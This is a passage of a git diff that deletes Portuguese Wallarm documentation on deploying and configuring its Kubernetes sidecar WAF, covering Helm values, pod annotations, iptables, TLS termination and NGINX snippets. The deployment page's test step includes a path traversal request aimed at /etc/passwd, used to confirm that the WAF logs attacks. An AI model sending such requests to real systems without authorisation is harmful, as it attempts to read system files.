anotação, o valor da anotação será aplicado. - -O conjunto de anotações suportadas é limitado, mas as anotações `nginx-*-include` e `nginx-*-snippet` permitem qualquer [configuração personalizada do NGINX a ser usada pela solução](#using-custom-nginx-configuration). - -[Aqui está a lista de anotações suportadas por pod](pod-annotations.md) - -## Casos de uso de configuração - -Como mencionado acima, você pode personalizar a solução de várias maneiras para se adequar à sua infraestrutura e requisitos para a solução de segurança. Para tornar as opções de personalização mais comuns mais fáceis de implementar, as descrevemos considerando as melhores práticas relacionadas. - -### Implementação única e dividida de contêineres - -A Wallarm oferece duas opções para a implementação de contêineres Wallarm em um Pod: - -* Implantação única (por padrão) -* Implantação dividida - -![Contêineres únicos e divididos][single-split-containers-img] - -Você pode definir as opções de implementação do contêiner tanto na base global quanto no pod: - -* Globalmente, definindo o valor do gráfico Helm `config.injectionStrategy.schema` para `single` (padrão) ou `split`. -* Em uma base por pod, definindo a anotação do Pod do aplicativo apropriado `sidecar.wallarm.io/sidecar-injection-schema` para `"single"` ou `"split"`. - -!!! info "Módulo de pós-análise" - Observe que o contêiner do módulo pós-análise é executado [separadamente](deployment.md#solution-architecture), as opções de implantação descritas referem-se apenas a outros contêineres. - -#### Implantação única (por padrão) - -Com a implantação única de contêineres Wallarm, apenas um contêiner será executado em um Pod, além do contêiner init opcional com **iptables**. - -Como resultado, existem dois contêineres em execução: - -* `sidecar-init-iptables` é o contêiner init que executa iptables. Por padrão, este contêiner inicia, mas você pode [desativá-lo](#capturing-incoming-traffic-port-forwarding). -* `sidecar-proxy` executa o proxy NGINX com os módulos Wallarm e alguns serviços auxiliares. Todos esses processos são executados e gerenciados pelo [supervisord](http://supervisord.org/). - -#### Implantação dividida - -Com a implantação dividida de contêineres Wallarm, dois contêineres adicionais serão executados em um Pod, além de dois contêineres init. - -Esta opção move todos os serviços auxiliares para fora do contêiner `sidecar-proxy` e permanece apenas os serviços NGINX para serem iniciados pelo contêiner. - -A implantação de contêineres divididos oferece um controle mais granular sobre os recursos consumidos por NGINX e serviços auxiliares. É a opção recomendada para aplicativos altamente carregados onde a divisão dos namespaces da CPU/Memória/Armazenamento entre os contêineres Wallarm e auxiliares é necessária. - -Como resultado, existem quatro contêineres em execução: - -* `sidecar-init-iptables` é o contêiner init que executa iptables. Por padrão, este contêiner inicia, mas você pode [desativá-lo](#capturing-incoming-traffic-port-forwarding). -* `sidecar-init-helper` é o contêiner init com serviços auxiliares encarregados de conectar o nó Wallarm ao Wallarm Cloud. -* `sidecar-proxy` é o contêiner com serviços NGINX. -* `sidecar-helper` é o contêiner com alguns outros serviços auxiliares. - -### Descoberta automática de porta do contêiner de aplicação - -A porta do aplicativo protegido pode ser configurada de muitas maneiras. Para lidar adequadamente e encaminhar o tráfego de entrada, o Wallarm sidecar deve estar ciente da porta TCP que o contêiner do aplicativo aceita pedidos de entrada. - -Por padrão, o controlador sidecar descobre automaticamente a porta na seguinte ordem de prioridade: - -1. Se a porta estiver definida através da anotação do pod `sidecar.wallarm.io/application-port`, o controlador Wallarm usará esse valor. -1. Se houver a porta definida sob a configuração do contêiner de aplicação `name: http`, o controlador Wallarm usará esse valor. -1. Se não houver porta definida sob a configuração `name: http`, o controlador Wallarm usará o valor da porta encontrado primeiro nas configurações do contêiner do aplicativo. -1. Se não houver portas definidas nas configurações do contêiner do aplicativo, o controlador Wallarm usará o valor de `config.nginx.applicationPort` do gráfico Wallarm Helm. - -Se a descoberta automática da porta do contêiner do aplicativo não funcionar conforme o esperado, especifique a porta explicitamente usando a 1ª ou a 4ª opção. - -### Capturando tráfego de entrada (encaminhamento de porta) - -Por padrão, o controlador Wallarm sidecar roteia o tráfego da seguinte maneira: - -1. Captura o tráfego de entrada que chega ao IP do Pod anexado e à porta do contêiner do aplicativo. -1. Redireciona esse tráfego para o contêiner de sidecar usando os recursos internos de iptables. -1. O sidecar mitiga solicitações maliciosas e encaminha tráfego legítimo para o contêiner do aplicativo. - -A captura de tráfego de entrada é implementada usando o contêiner init que executa iptables, que é a melhor prática para o encaminhamento automático de portas. Este contêiner é executado como privilegiado, com a capacidade `NET_ADMIN`. - -![Encaminhamento de porta padrão com iptables][port-forwarding-with-iptables-img] - -No entanto, essa abordagem é incompatível com a malha de serviço como o Istio, uma vez que o Istio já tem a captura de tráfego baseada em iptables implementada. Nesse caso, você pode desativar iptables e o encaminhamento de portas funcionará da seguinte maneira: - -![Encaminhamento de porta sem iptables][port-forwarding-without-iptables-img] - -!!! info "Contêiner do aplicativo desprotegido" - Se iptables estiver desativado, um contêiner de aplicativo exposto não será protegido pelo Wallarm. Como resultado, o tráfego "east-west" malicioso pode alcançar o contêiner do aplicativo se seu endereço IP e porta forem conhecidos por um invasor. - - O tráfego east/west é o tráfego que circula pelo cluster Kubernetes (por exemplo, de serviço para serviço). - -Você pode alterar o comportamento padrão da seguinte maneira: - -1. Desativar iptables de uma das maneiras: - - * Globalmente, definindo o valor do gráfico Helm `config.injectionStrategy.iptablesEnable` para `"false"` - * Em uma base por pod, definindo a anotação do Pod `sidecar.wallarm.io/sidecar-injection-iptables-enable` para `"false"` -2. Atualize a configuração `spec.ports.targetPort` em seu manifesto de Serviço para apontar para a porta `proxy`. - - Se a captura de tráfego baseada em iptables estiver desabilitada, o contêiner Wallarm sidecar publicará uma porta com o nome `proxy`. Para que o tráfego de entrada venha do serviço Kubernetes para a porta `proxy`, a configuração `spec.ports.targetPort` em seu manifesto de Serviço deve apontar para esta porta: - -```yaml hl_lines="16-17 34" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/sidecar-injection-iptables-enable: "false" - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 ---- -apiVersion: v1 -kind: Service -metadata: - name: myapp-svc - namespace: default -spec: - ports: - - port: 80 - targetPort: proxy - protocol: TCP - name: http - selector: - app: myapp -``` - -### Alocando recursos para contêineres - -A quantidade de memória alocada para os contêineres Wallarm sidecar determina a qualidade e a velocidade do processamento de solicitações. Para alocar recursos suficientes para solicitações de memória e limites, [conheça nossas recomendações][allocate-resources-for-node-docs]. - -A alocação de recursos é permitida tanto no nível global quanto no nível do pod. - -#### Alocação global via valores do gráfico Helm - -| Padrão de implantação de contêiner | Nome do contêiner | Valor do gráfico | -|-------------------|-----------------------|--------------------------------------------------| -| [Dividido, Único](#single-and-split-deployment-of-containers) | sidecar-proxy | config.sidecar.containers.proxy.resources | -| Dividido | sidecar-helper | config.sidecar.containers.helper.resources | -| Dividido, Único | sidecar-init-iptables | config.sidecar.initContainers.iptables.resources | -| Dividido | sidecar-init-helper | config.sidecar.initContainers.helper.resources | - -Exemplo de valores do gráfico Helm para gerenciamento de recursos (solicitações e limites) globalmente: - -```yaml -config: - sidecar: - containers: - proxy: - resources: - requests: - cpu: 200m - memory: 256Mi - limits: - cpu: 500m - memory: 512Mi - helper: - resources: - requests: - cpu: 100m - memory: 128Mi - limits: - cpu: 300m - memory: 256Mi - initContainers: - helper: - resources: - requests: - cpu: 100m - memory: 64Mi - limits: - cpu: 300m - memory: 128Mi - iptables: - resources: - requests: - cpu: 50m - memory: 32Mi - limits: - cpu: 100m - memory: 64Mi -``` - -#### Alocação de base por pod via anotações de Pod - -| Padrão de implantação de contêiner | Nome do contêiner | Anotação | -|-------------------|-----------------------|------------------------------------------------------------------------| -| [Único, Dividido](#single-and-split-deployment-of-containers) | sidecar-proxy | sidecar.wallarm.io/proxy-{cpu,memory,cpu-limit,memory-limit} | -| Dividido | sidecar-helper | sidecar.wallarm.io/helper-{cpu,memory,cpu-limit,memory-limit} | -| Único, Dividido | sidecar-init-iptables | sidecar.wallarm.io/init-iptables-{cpu,memory,cpu-limit,memory-limit} | -| Dividido | sidecar-init-helper | sidecar.wallarm.io/init-helper-{cpu,memory,cpu-limit,memory-limit} | - -Exemplo de anotações para gerenciar recursos (solicitações e limites) em uma base por pod (com o padrão de contêiner `único` habilitado): - -```yaml hl_lines="16-24" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/proxy-cpu: 200m - sidecar.wallarm.io/proxy-cpu-limit: 500m - sidecar.wallarm.io/proxy-memory: 256Mi - sidecar.wallarm.io/proxy-memory-limit: 512Mi - sidecar.wallarm.io/init-iptables-cpu: 50m - sidecar.wallarm.io/init-iptables-cpu-limit: 100m - sidecar.wallarm.io/init-iptables-memory: 32Mi - sidecar.wallarm.io/init-iptables-memory-limit: 64Mi - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 -``` - -### Término SSL/TLS - -Por padrão, a solução Sidecar aceita apenas tráfego HTTP e encaminha tráfego HTTP simples para os pods do aplicativo. Presume-se que a terminação SSL/TLS seja realizada por um componente de infraestrutura localizado antes da solução sidecar (como Ingress/Application Gateway), permitindo que a solução sidecar processe HTTP simples. - -No entanto, pode haver casos em que a infraestrutura existente não suporte a terminação SSL/TLS. Nesses casos, você pode habilitar a terminação SSL/TLS no nível do Wallarm sidecar. Este recurso é suportado a partir do gráfico Helm 4.6.1. - -!!! warning "A solução Sidecar suporta o processamento de tráfego SSL ou HTTP simples" - A solução Wallarm Sidecar suporta o processamento de tráfego SSL/TLS ou HTTP simples. A habilitação da terminação SSL/TLS significa que a solução sidecar não processará o tráfego HTTP simples, enquanto a desabilitação da terminação SSL/TLS resultará no processamento apenas do tráfego HTTPS. - -Para habilitar a terminação SSL/TLS: - -1. Obtenha o certificado do servidor (chave pública) e a chave privada associada ao servidor para o qual o Sidecar irá terminar o SSL/TLS. -1. No namespace do pod do aplicativo, crie um [segredo TLS](https://kubernetes.io/docs/concepts/configuration/secret/#tls-secrets) contendo o certificado do servidor e a chave privada. -1. No arquivo `values.yaml`, adicione a seção `config.profiles` para montagem de segredos. O exemplo abaixo mostra várias configurações de montagem de certificado. - - Personalize o código com base nos comentários para atender às suas necessidades. Remova quaisquer configurações de montagem de certificado desnecessárias se você precisar apenas de um certificado. - - ```yaml - config: - wallarm: - api: - token: "" - host: "us1.api.wallarm.com" # ou string vazia se estiver usando o EU Cloud - # Outras configurações Wallarm https://docs.wallarm.com/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm/ - profiles: - tls-profile: # Defina qualquer nome de perfil TLS desejado aqui - sidecar: - volumeMounts: - - name: nginx-certs-example-com # Nome do volume contendo chaves example.com - mountPath: /etc/nginx/certs/example.com # Caminho para montar chaves example.com no contêiner - readOnly: true - - name: nginx-certs-example-io # Nome do volume contendo chaves example.io - mountPath: /etc/nginx/certs/example.io # Caminho para montar chaves example.io no contêiner - readOnly: true - volumes: - - name: nginx-certs-example-com # Nome do volume contendo chaves example.com - secret: - secretName: example-com-certs # Nome do segredo criado para o backend example.com, contendo chaves pública e privada - - name: nginx-certs-example-io # Nome do volume contendo chaves example.io - secret: - secretName: example-io-certs # Nome do segredo criado para o backend example.io, contendo chaves pública e privada - nginx: - # Configuração específica do módulo SSL NGINX para seu procedimento de terminação TLS/SSL. - # Consulte https://nginx.org/en/docs/http/ngx_http_ssl_module.html. - # Esta configuração é necessária para o Sidecar realizar a terminação de tráfego. - servers: - - listen: "ssl http2" - include: - - "server_name example.com www.example.com" - - "ssl_protocols TLSv1.3" - - "ssl_certificate /etc/nginx/certs/example.com/tls.crt" - - "ssl_certificate_key /etc/nginx/certs/example.com/tls.key" - - "ssl_ciphers ECDHE-ECDSA-AES256-GCM-SHA384" - - "ssl_conf_command Ciphersuites TLS_AES_128_GCM_SHA256:TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256" - - listen: "ssl" - include: - - "server_name example.io www.example.io" - - "ssl_protocols TLSv1.2 TLSv1.3" - - "ssl_certificate /etc/nginx/certs/example.io/tls.crt" - - "ssl_certificate_key /etc/nginx/certs/example.io/tls.key" - ``` -1. Aplique as alterações de `values.yaml` na solução Sidecar usando o seguinte comando: - - ```bash - helm upgrade wallarm/wallarm-sidecar --wait -n wallarm-sidecar -f values.yaml - ``` -1. [Aplique](pod-annotations.md#how-to-use-annotations) a anotação `sidecar.wallarm.io/profile: tls-profile` ao pod do aplicativo. -1. Uma vez que a configuração é aplicada, você pode testar a solução seguindo os passos descritos [aqui](deployment.md#step-4-test-the-wallarm-sidecar-proxy-operation), substituindo o protocolo HTTP pelo HTTPS. - -A solução sidecar aceitará tráfego TLS/SSL, o encerrará e encaminhará tráfego HTTP simples para o pod do aplicativo. - -### Habilitando módulos adicionais do NGINX - -A imagem do Docker do Wallarm sidecar é distribuída com os seguintes módulos adicionais do NGINX desabilitados por padrão: - -* [ngx_http_auth_digest_module.so](https://github.com/atomx/nginx-http-auth-digest) -* [ngx_http_brotli_filter_module.so](https://github.com/google/ngx_brotli) -* [ngx_http_brotli_static_module.so](https://github.com/google/ngx_brotli) -* [ngx_http_geoip2_module.so](https://github.com/leev/ngx_http_geoip2_module) -* [ngx_http_influxdb_module.so](https://github.com/influxdata/nginx-influxdb-module) -* [ngx_http_modsecurity_module.so](https://github.com/SpiderLabs/ModSecurity) -* [ngx_http_opentracing_module.so](https://github.com/opentracing-contrib/nginx-opentracing) - -Você pode habilitar módulos adicionais apenas em uma base por pod, definindo a anotação de Pod `sidecar.wallarm.io/nginx-extra-modules`. - -O formato do valor da anotação é uma matriz. Exemplo com módulos adicionais habilitados: - -```yaml hl_lines="16-17" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/nginx-extra-modules: "['ngx_http_brotli_filter_module.so','ngx_http_brotli_static_module.so', 'ngx_http_opentracing_module.so']" - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 -``` - -### Usando configuração personalizada do NGINX - -Se não houver [anotações de pods](pod-annotations.md) dedicadas para algumas configurações do NGINX, você pode especificá-las via **snippets** e **includes** do pod. - -#### Snippet - -Snippets é uma maneira conveniente de adicionar alterações de uma linha à configuração do NGINX. Para alterações mais complexas, [includes](#include) é uma opção recomendada. - -Para especificar configurações personalizadas via snippets, use as seguintes anotações de pod: - -| Seção de configuração do NGINX | Anotação | -|----------------------|---------------------------------------------| -| http | `sidecar.wallarm.io/nginx-http-snippet` | -| server | `sidecar.wallarm.io/nginx-server-snippet` | -| location | `sidecar.wallarm.io/nginx-location-snippet` | - -Exemplo da anotação alterando o valor da diretiva NGINX [`disable_acl`][disable-acl-directive-docs]: - -```yaml hl_lines="18" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/wallarm-mode: block - sidecar.wallarm.io/nginx-location-snippet: "disable_acl on" - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 -``` - -Para especificar mais de uma diretiva, use o símbolo `;`, por exemplo: - -```yaml -sidecar.wallarm.io/nginx-location-snippet: "disable_acl on;wallarm_timeslice 10" -``` - -#### Include - -Para montar um arquivo de configuração adicional do NGINX no contêiner Wallarm sidecar, você pode [criar ConfigMap](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#create-configmaps-from-files) ou [recurso Secret](https://kubernetes.io/docs/concepts/configuration/secret/#creating-a-secret) a partir deste arquivo e usar o recurso criado no contêiner. - -Uma vez que o ConfigMap ou o recurso Secret esteja criado, você pode montá-lo no contêiner através dos [componentes Volume e VolumeMounts](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#populate-a-volume-with-data-stored-in-a-configmap) usando as seguintes anotações de pod: - -| Item | Anotação | Tipo de valor | -|---------------|------------------------------------------------|-------------| -| Volumes | `sidecar.wallarm.io/proxy-extra-volumes` | JSON | -| Montagens de volume | `sidecar.wallarm.io/proxy-extra-volume-mounts` | JSON | - -Uma vez que o recurso esteja montado no contêiner, especifique o contexto do NGINX para adicionar a configuração passando o caminho para o arquivo montado na anotação correspondente: - -| Seção de configuração NGINX | Anotação | Tipo de valor | -|----------------------|---------------------------------------------|------------| -| http | `sidecar.wallarm.io/nginx-http-include` | Array | -| server | `sidecar.wallarm.io/nginx-server-include` | Array | -| location | `sidecar.wallarm.io/nginx-location-include` | Array | - -Abaixo está o exemplo com um arquivo de configuração montado incluído no nível `http` da configuração NGINX. Este exemplo presume que o ConfigMap `nginx-http-include-cm` foi criado com antecedência e contém diretivas válidas de configuração NGINX. - -```yaml hl_lines="16-19" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/proxy-extra-volumes: '[{"name": "nginx-http-extra-config", "configMap": {"name": "nginx-http-include-cm"}}]' - sidecar.wallarm.io/proxy-extra-volume-mounts: '[{"name": "nginx-http-extra-config", "mountPath": "/nginx_include/http.conf", "subPath": "http.conf"}]' - sidecar.wallarm.io/nginx-http-include: "['/nginx_include/http.conf']" - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 -``` - -### Configurando recursos do Wallarm - -Além das configurações gerais da solução listadas, também recomendamos que você aprenda as [melhores práticas para prevenção de ataques com Wallarm][wallarm-attack-prevention-best-practices-docs]. - -Esta configuração é realizada através de [anotações](pod-annotations.md) e da UI Console Wallarm. - -## Outras configurações via anotações - -Além dos casos de uso de configuração listados, você pode ajustar a solução Wallarm sidecar para os pods de aplicação usando muitas outras anotações. - -[Aqui está a lista de anotações suportadas por pod](pod-annotations.md) \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/kubernetes/sidecar-proxy/deployment.md b/docs/latest-pt-BR/installation/kubernetes/sidecar-proxy/deployment.md deleted file mode 100644 index a42b20d225..0000000000 --- a/docs/latest-pt-BR/installation/kubernetes/sidecar-proxy/deployment.md +++ /dev/null @@ -1,199 +0,0 @@ -# Implantando o Wallarm Sidecar - -Para proteger uma aplicação implantada como um Pod em um cluster Kubernetes, você pode executar o nó Wallarm baseado em NGINX na frente da aplicação como um controlador sidecar. O controlador sidecar Wallarm filtrará o tráfego de entrada para o Pod de aplicação, permitindo apenas solicitações legítimas e mitigando as maliciosas. - -As **principais características** da solução Wallarm Sidecar incluem: - -* Simplifica a proteção de microserviços discretos e suas réplicas e shards, fornecendo o formato de implantação que é semelhante às aplicações -* Totalmente compatível com qualquer controlador Ingress -* Funciona de forma estável sob cargas altas, geralmente comuns para a abordagem de malha de serviço -* Exige configuração mínima do serviço para proteger seus aplicativos; basta adicionar algumas anotações e rótulos ao pod de aplicação para protegê-lo -* Suporta dois modos de implantação do contêiner Wallarm: para cargas médias com os serviços Wallarm rodando em um único contêiner e para cargas altas com os serviços Wallarm divididos em vários contêineres -* Fornece uma entidade dedicada para o módulo pós-analítico, que é o backend local de análise de dados para a solução Wallarm sidecar, consumindo a maior parte da memória - -!!! info "Se você estiver usando a versão anterior da solução Wallarm Sidecar" - Se você estiver usando a versão anterior da solução Wallarm Sidecar, recomendamos que migre para a nova. Com este lançamento, atualizamos nossa solução Sidecar para aproveitar as novas capacidades do Kubernetes e uma grande quantidade de feedback do cliente. A nova solução não requer alterações significativas no manifesto Kubernetes; para proteger uma aplicação, basta implantar o gráfico e adicionar rótulos e anotações ao pod. - - Para obter ajuda na migração para a solução Wallarm Sidecar v2.0, entre em contato com o [suporte técnico da Wallarm](mailto:support@wallarm.com). - -## Casos de uso - -Entre todas as [opções de implantação do Wallarm][deployment-platform-docs] suportadas, esta solução é recomendada para os seguintes **casos de uso**: - -* Você está procurando a solução de segurança a ser implantada na infraestrutura com o controlador Ingress existente (por exemplo, AWS ALB Ingress Controller) impedindo você de implantar o [Controlador Ingress baseado em Wallarm NGINX][nginx-ing-controller-docs] ou o [Controlador Ingress baseado em Wallarm Kong][kong-ing-controller-docs] -* Ambiente de confiança zero que exige que cada microserviço (incluindo APIs internas) seja protegido pela solução de segurança - -## Fluxo de tráfego - -Fluxo de tráfego com Wallarm Sidecar: - -![Fluxo de tráfego com Wallarm Sidecar][traffic-flow-with-wallarm-sidecar-img] - -## Arquitetura da solução - -A solução Wallarm Sidecar é organizada pelos seguintes objetos de implantação: - -* **Controlador Sidecar** (`wallarm-sidecar-controller`) é o [webhook de admissão mutante](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#admission-webhooks) que injeta recursos do Wallarm sidecar no Pod, configurando-o com base nos valores do gráfico Helm e anotações do pod e conectando os componentes do nó ao Wallarm Cloud. - - Uma vez que um novo pod com o rótulo `wallarm-sidecar: enabled` no Kubernetes começa, o controlador injeta automaticamente o contêiner adicional filtrando o tráfego de entrada no pod. -* **Módulo pós-analítico** (`wallarm-sidecar-postanalytics`) é o backend local de análise de dados para a solução Wallarm sidecar. O módulo utiliza o armazenamento em memória Tarantool e um conjunto de alguns contêineres auxiliares (como o collectd, serviços de exportação de ataque). - -![Objetos de implantação Wallarm][sidecar-deployment-objects-img] - -O Wallarm Sidecar tem 2 estágios padrão em seu ciclo de vida: - -1. No estágio **inicial**, o controlador injeta recursos do Wallarm sidecar no Pod, configurando-o com base nos valores do gráfico Helm e anotações do pod e conectando os componentes do nó ao Wallarm Cloud. -1. No estágio **de tempo de execução**, a solução analisa e encaminha/repassa solicitações envolvendo o módulo pós-analítico. - -## Requisitos - ---8<-- "../include-pt-BR/waf/installation/sidecar-proxy-reqs.md" - -## Implantação - -Para implantar a solução Wallarm Sidecar: - -1. Gere um token de nó de filtragem. -1. Implantar o gráfico Helm Wallarm. -1. Anexe o Wallarm Sidecar ao Pod de aplicação. -1. Teste a operação Wallarm Sidecar. - -### Passo 1: Gere um token de nó de filtragem - -Gere um token de nó de filtragem do [tipo apropriado][node-token-types] para conectar os pods do sidecar à Wallarm Cloud: - -=== "Token API" - 1. Abra o Console Wallarm → **Configurações** → **Tokens API** na [Nuvem EUA](https://us1.my.wallarm.com/settings/api-tokens) ou [Nuvem UE](https://my.wallarm.com/settings/api-tokens). - 1. Encontre ou crie um token API com a função de origem `Deploy`. - 1. Copie este token. -=== "Token de nó" - 1. Abra o Console Wallarm → **Nós** na [Nuvem EUA](https://us1.my.wallarm.com/nodes) ou [Nuvem UE](https://my.wallarm.com/nodes). - 1. Crie um nó de filtragem com o tipo **Nó Wallarm** e copie o token gerado. - - ![Criação de um nó Wallarm][create-wallarm-node-img] - -### Passo 2: Implementar o gráfico Helm Wallarm - -1. Adicione o [repositório gráfico Wallarm](https://charts.wallarm.com/): - ``` - helm repo add wallarm https://charts.wallarm.com - ``` -1. Crie o arquivo `values.yaml` com a [configuração Wallarm Sidecar](customization.md). Exemplo do arquivo com a configuração mínima está abaixo. - - Ao usar um token API, especifique um nome de grupo de nó no parâmetro `nodeGroup`. Seus nós criados para os pods do sidecar serão atribuídos a este grupo, mostrado na seção **Nós** do Console Wallarm. O nome do grupo padrão é `defaultSidecarGroup`. Se necessário, você pode definir os nomes dos grupos de nós de filtragem individualmente para os pods das aplicações que eles protegem, usando a anotação [`sidecar.wallarm.io/wallarm-node-group`](pod-annotations.md#wallarm-node-group). - - === "Nuvem EUA" - ```yaml - config: - wallarm: - api: - token: "" - host: "us1.api.wallarm.com" - # nodeGroup: "defaultSidecarGroup" - ``` - === "Nuvem UE" - ```yaml - config: - wallarm: - api: - token: "" - # nodeGroup: "defaultSidecarGroup" - ``` - - `` é o token do nó Wallarm a ser executado no Kubernetes. - - --8<-- "../include-pt-BR/waf/installation/info-about-using-one-token-for-several-nodes.md" -1. Implante o gráfico Helm Wallarm: - - ``` bash - helm install --version 4.8.0 wallarm/wallarm-sidecar --wait -n wallarm-sidecar --create-namespace -f - ``` - - * `` é o nome para o lançamento Helm do gráfico Wallarm Sidecar - * `wallarm-sidecar` é o novo namespace para implantar o lançamento Helm com o gráfico Wallarm Sidecar, é recomendado implantá-lo em um namespace separado - * `` é o caminho para o arquivo `values.yaml` - -### Passo 3: Anexe o Wallarm Sidecar ao Pod de aplicação - -Para que o Wallarm filtre o tráfego da aplicação, adicione o rótulo `wallarm-sidecar: enabled` ao Pod de aplicação correspondente: - -```bash -kubectl edit deployment -n -``` - -```yaml hl_lines="15" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 -``` - -* Se o rótulo do Pod de aplicação `wallarm-sidecar` estiver definido como `disabled` ou não for especificado explicitamente, o contêiner Wallarm Sidecar não é injetado em um pod e, portanto, o Wallarm não filtra o tráfego. -* Se o rótulo do Pod de aplicação `wallarm-sidecar` estiver definido como `enabled`, o contêiner Wallarm Sidecar é injetado em um pod e, portanto, o Wallarm filtra o tráfego de entrada. - -### Passo 4: Teste a operação Wallarm Sidecar - -Para testar se o Wallarm Sidecar opera corretamente: - -1. Obtenha os detalhes do pod Wallarm para verificar se eles foram iniciados com sucesso: - - ```bash - kubectl get pods -n wallarm-sidecar -l app.kubernetes.io/name=wallarm-sidecar - ``` - - Cada pod deve exibir o seguinte: **READY: N/N** e **STATUS: Running**, por exemplo: - - ``` - NAME READY STATUS RESTARTS AGE - wallarm-sidecar-controller-54cf88b989-gp2vg 1/1 Running 0 91m - wallarm-sidecar-postanalytics-86d9d4b6cd-hpd5k 4/4 Running 0 91m - ``` -1. Obtenha os detalhes do pod de aplicação para verificar que o controlador Wallarm sidecar foi injetado com sucesso: - - ```bash - kubectl get pods -n --selector app= - ``` - - A saída deve exibir **READY: 2/2** indicando a bem-sucedida injeção do contêiner sidecar e **STATUS: Running** indicando a bem-sucedida conexão com o Wallarm Cloud: - - ``` - NAME READY STATUS RESTARTS AGE - myapp-5c48c97b66-lzkwf 2/2 Running 0 3h4m - ``` -1. Envie o ataque de teste [Path Traversal][ptrav-attack-docs] para o endereço do cluster da aplicação que o Wallarm está habilitado para filtrar o tráfego: - - ```bash - curl http:///etc/passwd - ``` - - Como o proxy Wallarm opera no [modo de filtração][filtration-mode-docs] **monitoramento** por padrão, o nó Wallarm não bloqueará o ataque, mas o registrará. - - Para verificar se o ataque foi registrado, acesse Wallarm Console → **Eventos**: - - ![Ataques na interface][attacks-in-ui-image] - -## Personalização - -Pods Wallarm foram injetados com base no [`values.yaml` padrão](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml) e na configuração personalizada que você especificou no 2º passo de implantação. - -Você pode personalizar ainda mais o comportamento do proxy Wallarm em níveis globais e por pod e tirar o máximo proveito da solução Wallarm para sua empresa. - -Basta ir para o [guia de personalização da solução proxy Wallarm](customization.md). diff --git a/docs/latest-pt-BR/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md b/docs/latest-pt-BR/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md deleted file mode 100644 index 89fca28c57..0000000000 --- a/docs/latest-pt-BR/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md +++ /dev/null @@ -1,214 +0,0 @@ -# Valores específicos da Wallarm do Gráfico Helm Sidecar - -Este documento descreve os valores específicos do gráfico Helm da Wallarm que você pode alterar durante o [deploy Wallarm Sidecar](deployment.md) ou [atualização][sidecar-upgrade-docs]. Os valores específicos da Wallarm e outros valores do gráfico são para configuração global do gráfico Helm Sidecar. - -!!! info "Prioridades das configurações globais e específicas do pod" - As anotações específicas do pod [têm precedência](customization.md#configuration-area) sobre os valores do gráfico Helm. - -A parte específica da Wallarm da [default `values.yaml`](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml) é a seguinte: - -```yaml -config: - wallarm: - api: - token: "" - host: api.wallarm.com - port: 443 - useSSL: true - caVerify: true - nodeGroup: "defaultSidecarGroup" - existingSecret: - enabled: false - secretKey: token - secretName: wallarm-api-token - fallback: "on" - mode: monitoring - modeAllowOverride: "on" - enableLibDetection: "on" - parseResponse: "on" - aclExportEnable: "on" - parseWebsocket: "off" - unpackResponse: "on" - ... -postanalytics: - external: - enabled: false - host: "" - port: 3313 - ... -``` - -## config.wallarm.api.token - -Um valor de token do nó de filtragem. É necessário para acessar a API Wallarm. - -O token pode ser um destes [tipos][node-token-types]: - -* **Token de API (recomendado)** - Ideal se você precisa adicionar/remover dinamicamente grupos de nós para organização de UI ou se você deseja controlar o ciclo de vida do token para segurança adicional. Para gerar um token de API: - - Para gerar um token de API: - - 1. Vá para o Console Wallarm → **Configurações** → **Tokens de API** em qualquer um dos [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) ou [EU Cloud](https://my.wallarm.com/settings/api-tokens). - 1. Crie um token de API com a **Deploy** como função de origem. - 1. Durante o deployment do nó, use o token gerado e especifique o nome do grupo usando o parâmetro `config.wallarm.api.nodeGroup`. Você pode adicionar vários nós a um grupo usando diferentes tokens de API. -* **Token do nó** - Adequado quando você já sabe os grupos de nós que serão usados. - - Para gerar um token do nó: - - 1. Vá para o Console Wallarm → **Nós** em qualquer um dos [US Cloud](https://us1.my.wallarm.com/nodes) ou [EU Cloud](https://my.wallarm.com/nodes). - 1. Crie um nó e nomeie o grupo do nó. - 1. Durante o deployment do nó, use o token do grupo para cada nó que deseja incluir nesse grupo. - -O parâmetro é ignorado se [`config.wallarm.api.existingSecret.enabled: true`](#configwallarmapiexistingsecret). - -## config.wallarm.api.host - -Ponto final da API Wallarm. 